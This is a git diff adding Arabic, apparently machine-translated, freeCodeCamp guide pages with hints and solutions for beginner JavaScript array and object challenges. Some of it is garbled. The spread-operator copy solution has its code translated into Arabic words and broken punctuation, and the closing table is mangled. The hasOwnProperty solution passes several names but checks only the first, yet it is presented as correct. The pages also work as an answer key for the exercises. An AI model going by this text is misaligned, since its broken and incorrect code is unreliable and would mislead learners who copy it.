+## الوصول إلى محتويات صفيف باستخدام تدرج قوس
+
+*   تذكر أن مؤشر الصفائف يبدأ من 0 حتى يكون موقع b موجودًا في `myArray[1]` .
+
+## حل
+
+ `myArray[1] = "anything we want"; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-property-names-with-bracket-notation/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-property-names-with-bracket-notation/index.md
new file mode 100644
index 0000000000..1f4b154bd2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-property-names-with-bracket-notation/index.md
@@ -0,0 +1,42 @@
+---
+title: Access Property Names with Bracket Notation
+localeTitle: الوصول إلى خاصية الأسماء مع تدرج قوس
+---
+## الوصول إلى خاصية الأسماء مع تدرج قوس
+
+طريقة:
+
+*   باستخدام `checkInventory()` قوس ببساطة اكتب بيان الإرجاع في الدالة `checkInventory()` .
+*   كتلة التعليمات البرمجية التالية يوضح بناء الجملة المطلوب.
+
+## مثال:
+
+ `let juice = { 
+  apple: 1.15, 
+  orange: 1.45 
+ }; 
+ function checkInventory(scannedItem) { 
+  return juice[scannedItem]; 
+ } 
+` 
+
+## حل:
+
+ `let foods = { 
+  apples: 25, 
+  oranges: 32, 
+  plums: 28, 
+  bananas: 13, 
+  grapes: 35, 
+  strawberries: 27 
+ }; 
+ // do not change code above this line 
+ 
+ function checkInventory(scannedItem) { 
+  // change code below this line 
+  return foods[scannedItem]; 
+ } 
+ 
+ // change code below this line to test different cases: 
+ console.log(checkInventory("apples")); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-to-an-array-with-push-and-unshift/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-to-an-array-with-push-and-unshift/index.md
new file mode 100644
index 0000000000..c9919cbe92
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-to-an-array-with-push-and-unshift/index.md
@@ -0,0 +1,21 @@
+---
+title: Add Items to an Array with push() and unshift()
+localeTitle: إضافة عناصر إلى مصفوفة بدفع () و unshift ()
+---
+## إضافة عناصر إلى مصفوفة بدفع () و unshift ()
+
+*   تمامًا مثل المثال المعطى ، استخدم طريقة `.unshift()` على الصفيف لإضافة عناصر إلى بداية الصفيف واستخدم طريقة `.push()` لإضافة عناصر إلى نهاية الصفيف.
+
+## حل:
+
+ `function mixedNumbers(arr) { 
+  // change code below this line 
+ arr.unshift('I',2,'three'); 
+ arr.push(7,'VIII', 9); 
+  // change code above this line 
+  return arr; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(mixedNumbers(['IV', 5, 'six'])); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-using-splice/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-using-splice/index.md
new file mode 100644
index 0000000000..6067d7eb47
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-using-splice/index.md
@@ -0,0 +1,32 @@
+---
+title: Add Items Using splice()
+localeTitle: إضافة عناصر باستخدام لصق ()
+---
+## إضافة عناصر باستخدام لصق ()
+
+*   باستخدام الدالة splice () ، يجب إزالة العناصر 2 أولاً من `arr` واستبدالها مع `DarkSalmon` و `BlanchedAlmond` .
+*   تذكر أن وظيفة لصق يمكن أن يستغرق ما يصل إلى ثلاثة معلمات.
+
+## مثال:
+
+ ``arr.splice(0, 1, "Two"); 
+ /*  The first two paramemters are the same as they were in the previous challenge. 
+    `0` will start the `splice()` function off at index 0. 
+    The second parameter `1` will remove only 1 variable from the array. 
+    The final variable "Two" will replace the variable in arr[0]. 
+    Note: The final parameter can take more than 1 arguement. 
+ */ 
+`` 
+
+## حل:
+
+ `function htmlColorNames(arr) { 
+  // change code below this line 
+  arr.splice(0, 2, "DarkSalmon", "BlanchedAlmond"); 
+  // change code above this line 
+  return arr; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(htmlColorNames(['DarkGoldenRod', 'WhiteSmoke', 'LavenderBlush', 'PaleTurqoise', 'FireBrick'])); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-key-value-pairs-to-javascript-objects/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-key-value-pairs-to-javascript-objects/index.md
new file mode 100644
index 0000000000..3b490b7af1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-key-value-pairs-to-javascript-objects/index.md
@@ -0,0 +1,27 @@
+---
+title: Add Key-Value Pairs to JavaScript Objects
+localeTitle: إضافة أزواج Key-Value إلى كائنات JavaScript
+---
+## إضافة أزواج Key-Value إلى كائنات JavaScript
+
+*   وقد أعلن بالفعل كائن الأطعمة. كل ما تبقى القيام به هو إضافة ثلاث `key-values` جديدة.
+
+ `OBJECT[{KEY}] = {VALUE} 
+` 
+
+*   سيعمل الرمز أعلاه على إنشاء `key-value` ney داخل الكائن.
+
+## حل
+
+ `let foods = { 
+  apples: 25, 
+  oranges: 32, 
+  plums: 28 
+ }; 
+ // change code below this line 
+ foods['bananas'] = 13; 
+ foods['grapes'] = 35; 
+ foods['strawberries'] = 27; 
+ // change code above this line 
+ console.log(foods); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-for-the-presence-of-an-element-with-indexof/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-for-the-presence-of-an-element-with-indexof/index.md
new file mode 100644
index 0000000000..6fccbc24ef
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-for-the-presence-of-an-element-with-indexof/index.md
@@ -0,0 +1,30 @@
+---
+title: Check For The Presence of an Element With indexOf()
+localeTitle: التحقق من وجود عنصر مع indexOf ()
+---
+## التحقق من وجود عنصر مع indexOf ()
+
+*   يمكن استخدام `if-statement` بسيطة للتحقق ما إذا كانت القيمة التي يتم إرجاعها بواسطة الدالة `indexOf()` أقل من 0.
+*   بمجرد اكتشاف القيمة ، يمكنك إرجاع إما `true` أو `false` .
+*   يوضح `Solution-1` كيف يمكن `if-statement` simple بسيطة إرجاع النتيجة الصحيحة.
+
+## حل 1:
+
+ `function quickCheck(arr, elem) { 
+  if(arr.indexOf(elem)>=0) { 
+    return true; 
+  } 
+  return false; 
+ } 
+ console.log(quickCheck(['squash', 'onions', 'shallots'], 'mushrooms')); 
+` 
+
+*   يوضح `Solution-2` كيف يمكن حل المشكلة باستخدام `? : (conditional)` المشغل.
+
+## حل 2:
+
+ `function quickCheck(arr, elem) { 
+ return arr.indexOf(elem) >= 0 ? true : false; 
+ } 
+ console.log(quickCheck(['squash', 'onions', 'shallots'], 'mushrooms')); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-if-an-object-has-a-property/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-if-an-object-has-a-property/index.md
new file mode 100644
index 0000000000..1f765273db
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-if-an-object-has-a-property/index.md
@@ -0,0 +1,52 @@
+---
+title: Check if an Object has a Property
+localeTitle: تحقق مما إذا كان الكائن يحتوي على خاصية
+---
+## تحقق مما إذا كان الكائن يحتوي على خاصية
+
+طريقة:
+
+*   إن أبسط طريقة لإكمال هذا التحدي هي إنشاء عبارة `ìf-statement` للتحقق من الطقس أو عدم احتواء الكائن على جميع المستخدمين ، ثم إرجاع بيان صواب أو خطأ. الحل الأول يفعل هذا فقط.
+*   يعمل الحل الثاني بالطريقة نفسها تمامًا ، فقط يستخدم سطرًا واحدًا من الشفرة - `Conditional(ternary)-Operator` - داخل الوظيفة.
+
+يقدم [developer.mozilla.org](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator) تحليلاً أكثر عمقًا للمشغل الثلاثي.
+
+### حل 1:
+
+ `let users = { 
+  Alan: { 
+    age: 27, 
+    online: true 
+  }, 
+  Jeff: { 
+    age: 32, 
+    online: true 
+  }, 
+  Sarah: { 
+    age: 48, 
+    online: true 
+  }, 
+  Ryan: { 
+    age: 19, 
+    online: true 
+  } 
+ }; 
+ 
+ function isEveryoneHere(obj) { 
+  // change code below this line 
+  if(users.hasOwnProperty('Alan','Jeff','Sarah','Ryan')) { 
+    return true; 
+  } 
+  return false; 
+  // change code above this line 
+ } 
+ 
+ console.log(isEveryoneHere(users)); 
+` 
+
+### حل 2:
+
+ `function isEveryoneHere(obj) { 
+  return (users.hasOwnProperty('Alan','Jeff','Sarah','Ryan')) ? true : false; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/combine-arrays-with-the-spread-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/combine-arrays-with-the-spread-operator/index.md
new file mode 100644
index 0000000000..9752742423
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/combine-arrays-with-the-spread-operator/index.md
@@ -0,0 +1,19 @@
+---
+title: Combine Arrays with the Spread Operator
+localeTitle: الجمع بين المصفوفات مع المشغل انتشار
+---
+## الجمع بين المصفوفات مع المشغل انتشار
+
+*   الحل هو بالضبط مثل المثال المعطى. ما عليك سوى إدخال المصفوفة `fragment[]` في مصفوفة `sentence[]` في الفهرس المرغوب.
+
+## حل:
+
+ `function spreadOut() { 
+  let fragment = ['to', 'code']; 
+  let sentence = ["learning", ...fragment, "is", "fun"]; // change this line 
+  return sentence; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(spreadOut()); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-an-array-with-the-spread-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-an-array-with-the-spread-operator/index.md
new file mode 100644
index 0000000000..e1c6360051
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-an-array-with-the-spread-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Copy an Array with the Spread Operator
+localeTitle: نسخ صفيف مع المشغل انتشار
+---
+## نسخ صفيف مع المشغل انتشار
+
+*   يخبرك التلميح الأخير في المثال باستخدام طريقة تم تعلمها مؤخرًا.
+*   يقوم عامل توزيع النشر بنسخ جميع العناصر إلى كائن فارغ جديد.
+
+\`\` \`جافا سكريبت بينما (عدد> = 1) { newArr = \[… arr\] num--. }
+
+ ``- The code above will copy all of the elements into `newArr` but will also reinitialise `newArr` with every new iteration of the while loop. 
+ - A new variable should first be initialised using the spread operator - `let obj = [...arr];` - then this variable should be added to the `newArr` for every iteration of the while loop. 
+ 
+ ## Solution: 
+`` 
+
+جافا سكريبت وظيفة copyMachine (arr، num) { let newArr = \[\]؛ بينما (عدد> = 1) { // تغيير رمز أدناه هذا الخط newArr.push (\[... آر\])؛ // تغيير الكود فوق هذا الخط num--. } عودة newArr ؛ }
+
+// تغيير الرمز هنا لاختبار الحالات المختلفة: console.log (copyMachine (\[true، false، true\]، 2))؛ \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-array-items-using-slice/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-array-items-using-slice/index.md
new file mode 100644
index 0000000000..29ee9f2943
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-array-items-using-slice/index.md
@@ -0,0 +1,27 @@
+---
+title: Copy Array Items Using slice()
+localeTitle: نسخ صفيف العناصر باستخدام شريحة ()
+---
+## نسخ صفيف العناصر باستخدام شريحة ()
+
+*   يجب استخدام الدالة `slice()` لإرجاع صفيف يتكون من `warm` `sunny` فقط.
+*   لذلك ، يجب تمرير معلمتين إلى الدالة `slice()` . يجب أن تكون المعلمة الأولى هي الفهرس الذي تريد أن تبدأه السلسلة الفرعية. يجب أن تكون المعلمة الثانية هي الفهرس الذي تنتهي عنده السلسلة الفرعية.
+*   ملاحظة: سيتم إنهاء المعلمة الثانية في السلسلة الفرعية في هذا الفهرس بالضبط.
+
+## مثال:
+
+ ` return arr.slice(1,4); 
+ /* This will return a substring consisting of indexs [1,2,3] 
+    Note: arr[4] is NOT included. 
+` 
+
+## حل:
+
+ `function forecast(arr) { 
+  // change code below this line 
+  return arr.slice(2,4); 
+ } 
+ 
+ // do not change code below this line 
+ console.log(forecast(['cold', 'rainy', 'warm', 'sunny', 'cool', 'thunderstorms'])); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/create-complex-multi-dimensional-arrays/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/create-complex-multi-dimensional-arrays/index.md
new file mode 100644
index 0000000000..925ca4f1c0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/create-complex-multi-dimensional-arrays/index.md
@@ -0,0 +1,25 @@
+---
+title: Create complex multi-dimensional arrays
+localeTitle: إنشاء صفائف معقدة متعددة الأبعاد
+---
+## إنشاء صفائف معقدة متعددة الأبعاد
+
+*   يجب أن تدرج السلسلة الأولى - `deep` - ثلاثة مستويات عميقة. هذا يعني ضمن ثلاث مجموعات بالضبط من `[square-brackets]` .
+
+ `let threeLevelArray = ["first level", ["Two levels deep", ["Three levels deep"]]]; 
+` 
+
+*   باستخدام هذه السلاسل إدراج المنطق `deep` ، `deeper` `deepest` في المصفوفة ثلاث مستويات عميقة ، أربعة مستويات عميقة وخمس مستويات العميق على التوالي.
+
+## حل:
+
+ `let myNestedArray = [ 
+  // change code below this line 
+  ['unshift', false, 1, 2, 3, 'complex', 'nested'], 
+  ['loop', 'shift', 6, 7, 1000, 'method'], 
+  ['concat', false, true, 'spread', 'array',["deep"]], 
+  ['mutate', 1327.98, 'splice', 'slice', 'push', [["deeper"]]], 
+  ['iterate', 1.3849, 7, '8.4876', 'arbitrary', 'depth', [[["deepest"]]] ] 
+  // change code above this line 
+ ]; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/generate-an-array-of-all-object-keys-with-object.keys/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/generate-an-array-of-all-object-keys-with-object.keys/index.md
new file mode 100644
index 0000000000..44c29a4944
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/generate-an-array-of-all-object-keys-with-object.keys/index.md
@@ -0,0 +1,40 @@
+---
+title: Generate an Array of All Object Keys with Object.keys()
+localeTitle: إنشاء صفيف من كافة مفاتيح الكائنات مع Object.keys ()
+---
+## إنشاء صفيف من كافة مفاتيح الكائنات مع Object.keys ()
+
+### طريقة:
+
+*   لإرجاع صفيف المستخدمين يجب أن تأخذ أسلوب `Object.keys()` .
+*   يمكن حل هذا التحدي باستخدام بيان إرجاع سطر واحد.
+
+### حل:
+
+ `let users = { 
+  Alan: { 
+    age: 27, 
+    online: false 
+  }, 
+  Jeff: { 
+    age: 32, 
+    online: true 
+  }, 
+  Sarah: { 
+    age: 48, 
+    online: false 
+  }, 
+  Ryan: { 
+    age: 19, 
+    online: true 
+  } 
+ }; 
+ 
+ function getArrayOfUsers(obj) { 
+  // change code below this line 
+  return Object.keys(obj); 
+  // change code above this line 
+ } 
+ 
+ console.log(getArrayOfUsers(users)); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/index.md
new file mode 100644
index 0000000000..aa9d7bac74
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Data Structures
+localeTitle: هياكل البيانات الأساسية
+---
+## هياكل البيانات الأساسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/iterate-through-all-an-arrays-items-using-for-loops/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/iterate-through-all-an-arrays-items-using-for-loops/index.md
new file mode 100644
index 0000000000..c9579051d3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/iterate-through-all-an-arrays-items-using-for-loops/index.md
@@ -0,0 +1,49 @@
+---
+title: Iterate Through All an Array's Items Using For Loops
+localeTitle: يتكرر من خلال جميع عناصر المصفوفة عن طريق استخدام الحلقات
+---
+## يتكرر من خلال جميع عناصر المصفوفة عن طريق استخدام الحلقات
+
+## تلميح 1
+
+*   ومتداخلة `for` حلقة يجب أن تستخدم للبحث من خلال كل عنصر في المصفوفة.
+
+ ` for (let i = 0; i < arr.length; i++) { 
+` 
+
+\`
+
+## تلميح 2
+
+*   يجب بعد ذلك مقارنة كل عنصر من الصفيف بمعلمة `elem` تم تمريرها من خلال الدالة `filteredArray()` .
+
+ `if (arr[i].indexOf(elem)==-1){ 
+` 
+
+## تلميح 3
+
+*   إذا لم يتم العثور على تطابق ، فهذا `newArr` أن `newArr` تمت إضافته بالكامل. وظيفة `push()` مفيدة جدًا هنا.
+
+ `newArr.push(arr[i]); 
+` 
+
+*   وبمجرد إضافة هذا `newArr` بأكمله إلى `newArr` ، تستمر الحلقة مع العنصر التالي.
+
+## حل:
+
+ `function filteredArray(arr, elem) { 
+  let newArr = []; 
+  // change code below this line 
+ 
+ for (let i = 0; i < arr.length; i++) { 
+    if (arr[i].indexOf(elem)==-1){ //Checks every parameter for the element and if is NOT there continues the code 
+          newArr.push(arr[i]); //Inserts the element of the array in the new filtered array 
+            }; 
+          }; 
+ 
+  // change code above this line 
+  return newArr; 
+ }; 
+ // change code here to test different cases: 
+ console.log(filteredArray([[3, 2, 3], [1, 6, 3], [3, 13, 26], [19, 3, 9]], 3)); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-array-stored-in-an-object/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-array-stored-in-an-object/index.md
new file mode 100644
index 0000000000..84f09fd2e0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-array-stored-in-an-object/index.md
@@ -0,0 +1,43 @@
+---
+title: Modify an Array Stored in an Object
+localeTitle: تعديل صفيف مخزنة في كائن
+---
+## تعديل صفيف مخزنة في كائن
+
+### طريقة:
+
+*   يمكن كتابة الدالة في سطرين فقط من التعليمات البرمجية.
+*   يجب أن يستخدم السطر الأول الدالة `push()` لإضافة معلمة `friend` إلى الصفيف الموجود في `user.data.friend` . السطر الثاني سيعيد الصفيف المعدل.
+*   تذكر أن `user` mustb يمكن الرجوع إليها مع المعلمة الأولى المعطاة `addFriend()` .
+
+### حل:
+
+ `let user = { 
+  name: 'Kenneth', 
+  age: 28, 
+  data: { 
+    username: 'kennethCodesAllDay', 
+    joinDate: 'March 26, 2016', 
+    organization: 'freeCodeCamp', 
+    friends: [ 
+      'Sam', 
+      'Kira', 
+      'Tomo' 
+    ], 
+    location: { 
+      city: 'San Francisco', 
+      state: 'CA', 
+      country: 'USA' 
+    } 
+  } 
+ }; 
+ 
+ function addFriend(userObj, friend) { 
+  // change code below this line 
+  userObj.data.friends.push(friend); 
+  return userObj.data.friends; 
+  // change code above this line 
+ } 
+ 
+ console.log(addFriend(user, 'Pete')); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-object-nested-within-an-object/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-object-nested-within-an-object/index.md
new file mode 100644
index 0000000000..df24ac68f7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-object-nested-within-an-object/index.md
@@ -0,0 +1,43 @@
+---
+title: Modify an Object Nested Within an Object
+localeTitle: تعديل كائن متداخل داخل كائن
+---
+## تعديل كائن متداخل داخل كائن
+
+طريقة:
+
+*   تذكر أن الكائن الذي تريد تغييره هو مستويين عميقين ، ومن السهل استخدام `dot-notation` في هذه الحالة.
+*   ببساطة ، قم بتعريف الكائن ثم استخدم `dot-notation` للوصول إلى الكائن الثاني وأخيرًا العنصر الأخير الذي ترغب في تعديله.
+
+## مثال:
+
+ `let myObject = { 
+  level_1: 'outside', 
+  first_level_object: { 
+    level_2: '2 levels deep', 
+    second_level_object: { 
+      level_3: '3 levels deep' 
+      } 
+   } 
+ }; 
+ //The following line of code will modify the data found in level_2. 
+ myObject.first_level_object.level_2 = 'level-2 has been reached'; 
+` 
+
+## حل:
+
+ `let userActivity = { 
+  id: 23894201352, 
+  date: 'January 1, 2017', 
+  data: { 
+    totalUsers: 51, 
+    online: 42 
+  } 
+ }; 
+ 
+ // change code below this line 
+ userActivity.data.online = 45; 
+ // change code above this line 
+ 
+ console.log(userActivity); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-from-an-array-with-pop-and-shift/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-from-an-array-with-pop-and-shift/index.md
new file mode 100644
index 0000000000..987a02a398
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-from-an-array-with-pop-and-shift/index.md
@@ -0,0 +1,19 @@
+---
+title: Remove Items from an Array with pop() and shift()
+localeTitle: إزالة العناصر من صفيف مع pop () و shift ()
+---
+## إزالة العناصر من صفيف مع pop () و shift ()
+
+*   و `.pop()` طريقة و `.shift()` يجب استدعاء الأسلوب وinitialised باستخدام `popped` و `shifted` المتغيرات للعودة الإجابة الصحيحة من وظيفة.
+
+## حل:
+
+ `function popShift(arr) { 
+  let popped = arr.pop(); 
+  let shifted = arr.shift(); 
+  return [shifted, popped]; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(popShift(['challenge', 'is', 'not', 'complete'])); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-using-splice/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-using-splice/index.md
new file mode 100644
index 0000000000..2558520616
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-using-splice/index.md
@@ -0,0 +1,21 @@
+---
+title: Remove Items Using splice()
+localeTitle: إزالة العناصر باستخدام لصق ()
+---
+## إزالة العناصر باستخدام لصق ()
+
+*   يجب استدعاء الدالة `splice()` على صفيف `arr` لإزالة عنصر واحد أو أكثر من مركز الصفيف.
+*   يضيف صفيف `arr` حاليا إلى قيمة 16. ببساطة إزالة العديد من المتغيرات اللازمة للعودة 10.
+
+## حل:
+
+ `function sumOfTen(arr) { 
+  // change code below this line 
+  arr.splice(1,2); 
+  // change code above this line 
+  return arr.reduce((a, b) => a + b); 
+ } 
+ 
+ // do not change code below this line 
+ console.log(sumOfTen([2, 5, 1, 5, 2, 1])); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-an-array-to-store-a-collection-of-data/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-an-array-to-store-a-collection-of-data/index.md
new file mode 100644
index 0000000000..2d2540034b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-an-array-to-store-a-collection-of-data/index.md
@@ -0,0 +1,27 @@
+---
+title: Use an Array to Store a Collection of Data
+localeTitle: استخدم صفيف لتخزين مجموعة من البيانات
+---
+## استخدم صفيف لتخزين مجموعة من البيانات
+
+### طريقة:
+
+*   في JS ، تعتبر Arrays واحدة من أكثر بنية البيانات شيوعًا. وعلى عكس اللغات الأخرى ، يمكن أن تقوم Arrays في JS بتخزين أنواع مختلفة من البيانات ويمكنها أيضًا تغيير حجمها في وقت التشغيل ، ومن ثم يشار إليها أيضًا باسم "Array" Dynamic Arrays. هم أيضا 0 مفهرسة.
+*   يمكن تهيئة المصفوفات بطرق مختلفة:
+
+1.  الصفيف الحرفي
+2.  مصممين صفيف
+
+*   في هذا التحدي سنركز على الصفيف الحرفي. لتهيئة مصفوفة نحن ببساطة `let arr = [];`
+*   يمكننا إضافة قيم إلى هذا الصفيف عن طريق الوصول إلى فهرسه ، مثال: `javascript let arr = []; arr[0] = "hello"; console.log(arr); // ["hello"]`
+*   يمكننا أيضًا تهيئة القيم في المصفوفة عندما نعلنها ، مثال: `javascript let arr = [1, 2, 3, "John"];`
+*   في هذا التحدي تحتاج إلى إنشاء مصفوفة تحتوي على 5 عناصر على الأقل وسلسلة واحدة على الأقل ، ورقم واحد ، وقيمة منطقية واحدة.
+
+### حل:
+
+ ` let yourArray = ["a", 2, true, "c", null, {name: "john"}]; 
+` 
+
+### مصادر
+
+مزيد من القراءة حول المصفوفات في [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-the-delete-keyword-to-remove-object-properties/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-the-delete-keyword-to-remove-object-properties/index.md
new file mode 100644
index 0000000000..0b333d3f60
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-the-delete-keyword-to-remove-object-properties/index.md
@@ -0,0 +1,25 @@
+---
+title: Use the delete Keyword to Remove Object Properties
+localeTitle: استخدم Delete keyword to Remove Object Properties
+---
+## استخدم Delete keyword to Remove Object Properties
+
+يقدم [Developer.mozilla.org](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete) برنامجًا تعليميًا شاملاً حول مشغل الحذف.
+
+### حل:
+
+ `let foods = { 
+  apples: 25, 
+  oranges: 32, 
+  plums: 28, 
+  bananas: 13, 
+  grapes: 35, 
+  strawberries: 27 
+ }; 
+ // change code below this line 
+ delete foods.oranges; 
+ delete foods.plums; 
+ delete foods.strawberries; 
+ // change code above this line 
+ console.log(foods); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-array-data-with-indexes/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-array-data-with-indexes/index.md
new file mode 100644
index 0000000000..a7e2240741
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-array-data-with-indexes/index.md
@@ -0,0 +1,16 @@
+---
+title: Access Array Data with Indexes
+localeTitle: الوصول صفيف البيانات مع فهارس
+---
+## الوصول صفيف البيانات مع فهارس
+
+العنصر الأول لصفيف هو في الموضع صفر. لذلك ، إذا كنت ترغب في الوصول إلى العنصر الأول من صفيف ، يمكنك القيام بذلك على النحو التالي:
+
+ `var arr = ["Programming", 123, "Coding", 789]; 
+ 
+ var firstElem = arr[0] // This is "Programming" 
+ var thirdElem = arr[2] // This is "Coding" 
+ var fourthElem = arr[3] // This is 789 
+` 
+
+لاحظ أن طول الصفيف هو 4 ، وأن موضع آخر عنصر في المصفوفة هو 3.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-multi-dimensional-arrays-with-indexes/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-multi-dimensional-arrays-with-indexes/index.md
new file mode 100644
index 0000000000..784a9117fb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-multi-dimensional-arrays-with-indexes/index.md
@@ -0,0 +1,26 @@
+---
+title: Access Multi-Dimensional Arrays With Indexes
+localeTitle: الوصول إلى صفائف متعددة الأبعاد مع فهارس
+---
+## الوصول إلى صفائف متعددة الأبعاد مع فهارس
+
+النظر في مجموعة متعددة الأبعاد التالية:
+
+ `var arr = [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12]]; 
+` 
+
+هذا ما يبدو في شكل جداول.
+
+| الموقف 0 | 1 | 2 | 3 | | --- | --- | --- | --- | --- | | **0** | 1 | 4 | 7 | 10 | | **1** | 2 | 5 | 8 | 11 | | **2** | 3 | 6 | 9 | 12 |
+
